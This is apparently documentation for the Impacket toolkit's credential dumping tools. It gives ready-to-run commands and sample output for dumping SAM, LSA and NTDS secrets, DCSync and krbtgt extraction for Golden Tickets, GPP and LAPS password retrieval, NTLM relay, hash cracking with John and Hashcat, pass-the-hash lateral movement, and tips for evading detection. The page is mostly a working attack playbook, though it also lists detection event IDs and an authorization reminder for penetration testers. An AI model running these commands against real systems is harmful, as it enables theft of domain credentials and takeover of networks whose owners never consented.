> ## Documentation Index
> Fetch the complete documentation index at: https://mintlify.com/fortra/impacket/llms.txt
> Use this file to discover all available pages before exploring further.

# Credential Dumping Tools

> Extract hashes, secrets, and credentials from Windows systems

Impacket provides powerful tools for extracting credentials from Windows systems, both locally and remotely.

## secretsdump.py

The most comprehensive credential dumping tool. Extracts SAM, LSA secrets, cached credentials, and NTDS.dit without executing code on the target.

### Dump Methods

<Tabs>
  <Tab title="Remote Dumping">
    ```bash theme={null}
    # Dump all credentials (SAM, LSA, cached, NTDS if DC)
    secretsdump.py DOMAIN/user:password@target

    # Pass-the-hash
    secretsdump.py DOMAIN/user@target -hashes LMHASH:NTHASH

    # Kerberos authentication
    secretsdump.py DOMAIN/user@target -k -no-pass -dc-ip DC_IP
    ```
  </Tab>

  <Tab title="DCSync (Domain Controller)">
    ```bash theme={null}
    # DCSync - replicate credentials from DC (requires replication rights)
    secretsdump.py DOMAIN/user:pass@DC_IP -just-dc

    # Dump only NTLM hashes (faster)
    secretsdump.py DOMAIN/user:pass@DC_IP -just-dc-ntlm

    # Dump specific user
    secretsdump.py DOMAIN/user:pass@DC_IP -just-dc-user Administrator

    # Include password history
    secretsdump.py DOMAIN/user:pass@DC_IP -history
    ```
  </Tab>

  <Tab title="Local Files">
    ```bash theme={null}
    # Parse local registry hives
    secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

    # Parse NTDS.dit
    secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

    # With bootkey
    secretsdump.py -sam SAM -system SYSTEM -bootkey BOOTKEY LOCAL
    ```
  </Tab>

  <Tab title="VSS Method">
    ```bash theme={null}
    # Use Volume Shadow Copy (VSS) - no code execution
    secretsdump.py DOMAIN/user:pass@target -use-vss

    # VSS for NTDS.dit on DC
    secretsdump.py DOMAIN/user:pass@DC -use-vss -just-dc-ntlm
    ```
  </Tab>
</Tabs>

### Advanced Options

<AccordionGroup>
  <Accordion title="Filtering & Selection">
    ```bash theme={null}
    # Dump only SAM (skip LSA secrets)
    secretsdump.py domain/user:pass@target -skip-security

    # Dump only LSA secrets (skip SAM)
    secretsdump.py domain/user:pass@target -skip-sam

    # LDAP filter for specific users
    secretsdump.py domain/user:pass@dc -ldapfilter "(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=com)"

    # Skip specific users
    secretsdump.py domain/user:pass@dc -skip-user "krbtgt,Guest"

    # Show password last set dates
    secretsdump.py domain/user:pass@dc -pwd-last-set

    # Show account status (enabled/disabled)
    secretsdump.py domain/user:pass@dc -user-status
    ```
  </Accordion>

  <Accordion title="Output Options">
    ```bash theme={null}
    # Save to file
    secretsdump.py domain/user:pass@target -outputfile credentials
    # Creates: credentials.ntds, credentials.sam, credentials.secrets

    # Resume interrupted dump
    secretsdump.py domain/user:pass@dc -resumefile resume.txt
    ```
  </Accordion>

  <Accordion title="Execution Methods">
    ```bash theme={null}
    # Specify execution method for registry operations
    secretsdump.py domain/user:pass@target -exec-method smbexec
    secretsdump.py domain/user:pass@target -exec-method wmiexec
    secretsdump.py domain/user:pass@target -exec-method mmcexec

    # Use remote VSS via WMI (no code execution)
    secretsdump.py domain/user:pass@target -use-remoteSSWMI
    ```
  </Accordion>
</AccordionGroup>

### Example Output

<CodeGroup>
  ```bash SAM Dump theme={null}
  $ secretsdump.py CORP/admin@10.0.0.50 -hashes :8846f7eaee8fb117ad06bdd830b7586c
  Impacket v0.12.0 - Copyright 2023 Fortra

  [*] Service RemoteRegistry is in stopped state
  [*] Starting service RemoteRegistry
  [*] Target system bootKey: 0x12345678901234567890123456789012
  [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
  Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
  Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
  user1:1001:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
  [*] Dumping cached domain logon information (domain/username:hash)
  CORP.LOCAL/jdoe:$DCC2$10240#jdoe#e4e938d12fe5974dc42a90120bd9c90f
  [*] Dumping LSA Secrets
  [*] $MACHINE.ACC
  CORP\WIN-SERVER01$:aes256-cts-hmac-sha1-96:abcd1234...
  [*] DPAPI_SYSTEM
  dpapi_machinekey:0x1234567890abcdef
  dpapi_userkey:0xfedcba0987654321
  [*] Cleaning up...
  ```

  ```bash DCSync Output theme={null}
  $ secretsdump.py CORP/admin:P@ssw0rd@10.0.0.1 -just-dc-user krbtgt
  Impacket v0.12.0 - Copyright 2023 Fortra

  [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
  [*] Using the DRSUAPI method to get NTDS.DIT secrets
  krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
  [*] Kerberos keys grabbed
  krbtgt:aes256-cts-hmac-sha1-96:5e3d2096abb01469a3b0350962b0c65cedbbc611c5eac6f3ef6fc1ffa58cacd5
  krbtgt:aes128-cts-hmac-sha1-96:14134f2b8e5b7c8cd0c91e1db1a6f711
  krbtgt:des-cbc-md5:266fe8c2e8e0bad6
  [*] Cleaning up...
  ```
</CodeGroup>

### Common Use Cases

<Tabs>
  <Tab title="Domain Compromise">
    ```bash theme={null}
    # 1. Dump all domain credentials from DC
    secretsdump.py DOMAIN/DA:password@DC_IP -just-dc -outputfile domain_hashes

    # 2. Extract krbtgt for Golden Ticket
    secretsdump.py DOMAIN/DA:password@DC_IP -just-dc-user krbtgt

    # 3. Dump with history for password analysis
    secretsdump.py DOMAIN/DA:password@DC_IP -history
    ```
  </Tab>

  <Tab title="Local Admin Access">
    ```bash theme={null}
    # 1. Dump local SAM
    secretsdump.py ./admin:password@WORKSTATION

    # 2. Extract cached domain credentials
    secretsdump.py DOMAIN/admin@WORKSTATION -hashes :HASH

    # 3. Get LSA secrets (auto-logon passwords, service accounts)
    secretsdump.py ./admin@WORKSTATION -hashes :HASH
    ```
  </Tab>

  <Tab title="Offline Analysis">
    ```bash theme={null}
    # 1. Extract hives with reg.py or other methods
    reg.py domain/user:pass@target save -keyName HKLM\SAM sam.save
    reg.py domain/user:pass@target save -keyName HKLM\SYSTEM system.save
    reg.py domain/user:pass@target save -keyName HKLM\SECURITY security.save

    # 2. Parse offline
    secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
    ```
  </Tab>
</Tabs>

## Get-GPPPassword.py

Extracts credentials from Group Policy Preferences (GPP) in SYSVOL. Finds passwords stored in Groups.xml.

### Usage

```bash theme={null}
# Scan SYSVOL for GPP passwords
Get-GPPPassword.py DOMAIN/user:password@DC_IP

# With NTLM hash
Get-GPPPassword.py DOMAIN/user@DC -hashes LMHASH:NTHASH

# Kerberos authentication
Get-GPPPassword.py DOMAIN/user@DC -k -no-pass -dc-ip DC_IP
```

### Example Output

```bash theme={null}
$ Get-GPPPassword.py CORP/user:pass@10.0.0.1
Impacket v0.12.0 - Copyright 2023 Fortra

[*] Searching \\10.0.0.1\SYSVOL\corp.local\Policies
[+] Found credentials in {31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
UserName: localadmin
Password: P@ssw0rd123!
Changed: 2023-01-15 10:30:00
```

## GetLAPSPassword.py

Retrieves LAPS (Local Administrator Password Solution) passwords from Active Directory.

### Usage

```bash theme={null}
# Get LAPS password for specific computer
GetLAPSPassword.py DOMAIN/user:password@DC -computer WIN10-PC01

# Get all LAPS passwords (requires read permissions)
GetLAPSPassword.py DOMAIN/user:password@DC

# Kerberos authentication
GetLAPSPassword.py DOMAIN/user@DC -k -no-pass -computer TARGET$
```

### Example Output

```bash theme={null}
$ GetLAPSPassword.py CORP/admin:pass@10.0.0.1 -computer WIN10-01
Impacket v0.12.0 - Copyright 2023 Fortra

Computer: WIN10-01$
Password: #Kp9.mV2qW!xR5n
Expiration: 2024-03-15 14:22:35
```

## Additional Tools

### dpapi.py

Decrypt DPAPI-protected data (credentials, certificates, keys).

```bash theme={null}
# Decrypt DPAPI blob with master key
dpapi.py blob -file blob.bin -mkfile masterkey

# Decrypt credential file
dpapi.py credential -file credential.bin -mkfile masterkey

# Use domain backup key
dpapi.py blob -file blob.bin -pvk domain_backup.pvk
```

### mimikatz.py

Execute Mimikatz-style DPAPI operations.

```bash theme={null}
# Execute against remote machine
mimikatz.py DOMAIN/user:password@target

# With NTLM hash
mimikatz.py DOMAIN/user@target -hashes :NTHASH
```

### ntlmrelayx.py

Relay NTLM authentication to dump credentials (advanced).

```bash theme={null}
# Relay to SMB and dump SAM
ntlmrelayx.py -t smb://target -smb2support

# Relay and execute secretsdump
ntlmrelayx.py -t smb://target --dump-ntds

# Relay to multiple targets
ntlmrelayx.py -tf targets.txt -smb2support
```

## Password Cracking

After dumping credentials, crack them with John the Ripper or Hashcat:

<Tabs>
  <Tab title="John the Ripper">
    ```bash theme={null}
    # Extract NTLM hashes to file
    secretsdump.py domain/user:pass@dc -just-dc-ntlm -outputfile hashes

    # Crack with John
    john --format=NT hashes.ntds --wordlist=rockyou.txt
    john --format=NT hashes.ntds --rules --wordlist=wordlist.txt

    # Show cracked passwords
    john --show --format=NT hashes.ntds
    ```
  </Tab>

  <Tab title="Hashcat">
    ```bash theme={null}
    # Prepare hash file (format: username:hash)
    cat hashes.ntds | cut -d: -f1,4 > ntlm.txt

    # Crack NTLM hashes
    hashcat -m 1000 ntlm.txt rockyou.txt

    # Crack with rules
    hashcat -m 1000 ntlm.txt wordlist.txt -r best64.rule

    # Crack cached domain credentials ($DCC2)
    hashcat -m 2100 cached.txt wordlist.txt
    ```
  </Tab>

  <Tab title="Pass-the-Hash">
    ```bash theme={null}
    # Use dumped NTLM hash directly (no cracking needed)
    psexec.py DOMAIN/user@target -hashes :NTHASH
    wmiexec.py DOMAIN/user@target -hashes :NTHASH
    smbexec.py DOMAIN/user@target -hashes :NTHASH

    # Lateral movement with hash
    crackmapexec smb targets.txt -u admin -H NTHASH
    ```
  </Tab>
</Tabs>

## Detection & Evasion

<Warning>
  Credential dumping activities are heavily monitored in modern environments. These techniques generate significant logs and alerts.
</Warning>

### Detection Indicators

<AccordionGroup>
  <Accordion title="Event Logs Generated">
    * **Event ID 4688**: Process creation (reg.exe, vssadmin.exe)
    * **Event ID 4663**: Registry access to SAM/SECURITY/SYSTEM
    * **Event ID 5145**: Network share access (ADMIN$, C$)
    * **Event ID 4662**: Directory Service Access (DCSync)
    * **Event ID 4624/4672**: Privileged logon
  </Accordion>

  <Accordion title="Network Indicators">
    * SMB connections to ADMIN$/C$ shares
    * RPC calls to SAMR/DRSUAPI
    * Registry service activation
    * Volume Shadow Copy creation
  </Accordion>

  <Accordion title="Evasion Techniques">
    ```bash theme={null}
    # Use VSS method (less suspicious than remote registry)
    secretsdump.py domain/user:pass@target -use-vss

    # Use Kerberos instead of NTLM
    secretsdump.py domain/user:pass@target -k -dc-ip DC

    # Limit scope to avoid mass dumping alerts
    secretsdump.py domain/user:pass@dc -just-dc-user specific_user

    # Use legitimate backup account
    secretsdump.py DOMAIN/backup_admin:pass@target
    ```
  </Accordion>
</AccordionGroup>

## Common Issues

<AccordionGroup>
  <Accordion title="Access Denied / Insufficient Privileges">
    ```bash theme={null}
    # Verify admin access
    crackmapexec smb target -u user -p password

    # Check for local admin
    smbmap -H target -u user -p password

    # For DCSync, verify replication rights
    # User needs "Replicating Directory Changes" and 
    # "Replicating Directory Changes All" permissions
    ```
  </Accordion>

  <Accordion title="Remote Registry Service">
    ```bash theme={null}
    # secretsdump.py starts RemoteRegistry automatically
    # If it fails, check:

    # 1. Service permissions
    services.py domain/user:pass@target list

    # 2. Try VSS method instead
    secretsdump.py domain/user:pass@target -use-vss

    # 3. Use different execution method
    secretsdump.py domain/user:pass@target -exec-method wmiexec
    ```
  </Accordion>

  <Accordion title="DCSync Errors">
    ```bash theme={null}
    # Error: "The user has insufficient access rights"
    # Solution: User needs replication permissions

    # Check current user's group memberships
    GetADUsers.py domain/user:pass@dc -user current_user

    # Alternative: Use domain admin or backup operator account
    secretsdump.py DOMAIN/Administrator:pass@dc -just-dc
    ```
  </Accordion>
</AccordionGroup>

## Best Practices

<CardGroup cols={2}>
  <Card title="Authorization" icon="shield-check">
    Only dump credentials on systems you're authorized to test
  </Card>

  <Card title="Secure Storage" icon="lock">
    Encrypt and securely store dumped credentials
  </Card>

  <Card title="Clean Up" icon="broom">
    Remove artifacts and restore services to original state
  </Card>

  <Card title="Documentation" icon="file-lines">
    Document all dumps for audit trail and reporting
  </Card>
</CardGroup>

## Next Steps

<CardGroup cols={2}>
  <Card title="Kerberos Attacks" icon="shield-halved" href="/examples/kerberos-attacks">
    Use dumped credentials for Kerberos attacks
  </Card>

  <Card title="Remote Execution" icon="terminal" href="/examples/remote-execution">
    Execute commands with dumped credentials
  </Card>

  <Card title="Lateral Movement" icon="network-wired" href="/examples/smb-operations">
    Move across the network with credentials
  </Card>
</CardGroup>